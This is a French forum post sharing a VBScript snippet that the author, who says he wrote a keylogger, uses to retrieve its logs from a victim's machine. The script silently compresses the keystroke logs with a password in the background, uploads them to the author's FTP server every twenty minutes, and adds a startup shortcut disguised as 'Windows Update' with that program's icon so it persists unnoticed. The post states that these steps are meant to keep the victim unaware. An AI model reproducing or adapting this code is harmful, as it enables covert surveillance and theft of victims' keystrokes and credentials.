Compression et upload vers un serveur ftp

Commenter

Contenu du snippet

il ya un bon moment que j'ai fait un keylogger biensûr grâce a vos sources déposées ici en Vbfrance la seule chose qui me manque c'est comment avoir accés a mes Logs qui sont sous forme "date_Mois_Année.htm" , alors j'ai penser que je peux les faire commpresser avec Winrar en ligne de commande et en arriére plan pour que la victime ne se doute de rien ;) puis les faire Uploader sur mon serveur FTP ! Alors j'ai réussi ale faire marcher et je veux le partager avec Vous !

Source / Exemple : 


'Main Program
option explicit
Shortcut
do while time <> "00:00:00" 'ici j'ai utiliser une boucle tant qu'il n'est pas encore minuit on bosse pour le script ne s'arrête pas ;)
Compression 'On compresse les Fichiers
Shortcut    'création d'un racourci dans le dossier démarrage pour démarre avec windows
UploadFTP   'Uploader les fichies compressés
wscript.sleep 1200000 'ici on attend 20 min puis on recommence l'action
loop
'--------------------------------------------------------------------------------------------------------------------------------------
sub Compression
dim File,f3,ts3,FSO,Archive,temp,shell
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)          ' Dossier Temporaire de Windows
FSO.CreateTextFile temp & "\Protection\Backup.lst"	
Set f3 = fso.GetFile(temp & "\Protection\Backup.lst")
Set ts3 = f3.OpenAsTextStream(2, -2)
ts3.writeline temp & "\Protection\*.htm"    'ici je veux faire une liste qui me compresse seulement les Fichiers d'extention *.htm
ts3.Close
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)   
Set Shell=CreateObject("WScript.Shell")
Shell.run ("winrar -IBCK -tn30d -pvotremotdepasse a "& Archive &" @Backup.lst") 
end sub  
'Winrar est un outil Trés puissant il m'a aider beaucoup pour réaliser mes attentions et mes objectifes
'Syntaxe pour la ligne de commande pour Winrar
'WinRAR <commande> -<paramètre1> -<paramètreN> <archive> <fichiers...> <@listefichiers...> <chemin_d_extraction\> 
'Commande a - Ajouter à une archive
'Paramètre -IBCK - Lancer WinRAR en arrière-plan
'Paramètre -TN<heure> - traiter les fichiers postérieurs à l'heure définie
'Utiliser ce paramètre pour traiter uniquement les fichiers plus récents que l'heure spécifiée. Le format de la chaîne <heure> est :
'[<njours>j][<nheures>h][<nminutes>m][<nsecondes>s]
'Par exemple, utiliser le paramètre "-tn15d" pour traiter les fichiers de plus de 15 jours et "-tn2h30m" pour traiter les fichiers après 2 heures 30 minutes
'Par exemple, vous pouvez créer un fichier "backup.lst" contenant les chaînes suivantes : 
'c:\work\doc\*.txt//sauvegarde des documents texte
'c:\work\image\*.bmp//sauvegarde des images
'c:\work\misc
'et lancer :
'winrar a backup @backup.lst
'Paramètre -P<mot_de_passe> - Utiliser un mot de passe Attention pas d'espace aprés la lettre P càd on écrit <-pmotdepasse> et non <-p motdepasse>
'Pour plus d'informations sur winrar en mode ligne de commande je vous conseille de consulter son fichier Help
'----------------------------------------------------------------------------------------------------------------------------------------------
sub Shortcut
dim shell,startupPath,link,temp,FSO
Set Shell = CreateObject("WScript.Shell")
startupPath = Shell.SpecialFolders("startup")
Set FSO = WScript.CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set link = Shell.CreateShortcut(startupPath & "\Windows Update.lnk") 'lien
link.Description = "Windows Update"
link.IconLocation = "wuauclt.exe, 0" 'icon de windows Update un camouflage quoi ;)
link.TargetPath = temp & "\Protection\WindowsUpdate.vbs"
link.WorkingDirectory = temp & "\Protection\"  'mon dossier de  Travail
link.Save
end sub
'----------------------------------------------------------------------------------------------------------------------------------------
Sub UploadFTP
dim File,FSO,Archive,shell,temp
Set FSO = CreateObject("Scripting.FileSystemObject")
temp=FSO.GetSpecialFolder(2)
Set File = FSO.OpenTextFile(temp &"\Protection\FTP.txt", 2, True)
Archive= Day(Now) & "_" & Month(Now) & "_" & Year(Now)
With File
.WriteLine "open Nom du Serveur FTP"      'Nom du Serveur FTP (à Modifier)
.WriteLine "Votre Login"                  'Nom de Login pour le serveur FTP (à Modifier)
.WriteLine "Votre Mot de Passe"           'Mot de Passe (à Modifier)
.WriteLine "bin"                          'ici en mode binaire
.WriteLine "PUT " & temp & "\Protection\"& Archive &".rar" 'pour Uploder l'Archive RAR
.WriteLine "bye"                          'Déconnexion du serveur FTP
.Close
End With
Set shell = CreateObject("WScript.Shell")
shell.Run "ftp -i -s:"& temp &"\Protection\FTP.txt",0,True 'Exécution de FTP
set shell = Nothing
end sub
'-------------------------------------------------------------------------------

Conclusion :


Vos commentaires et vos critiques sont les Bienvenus !

A voir également

S'inscrire maintenant

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (cs_hackoo)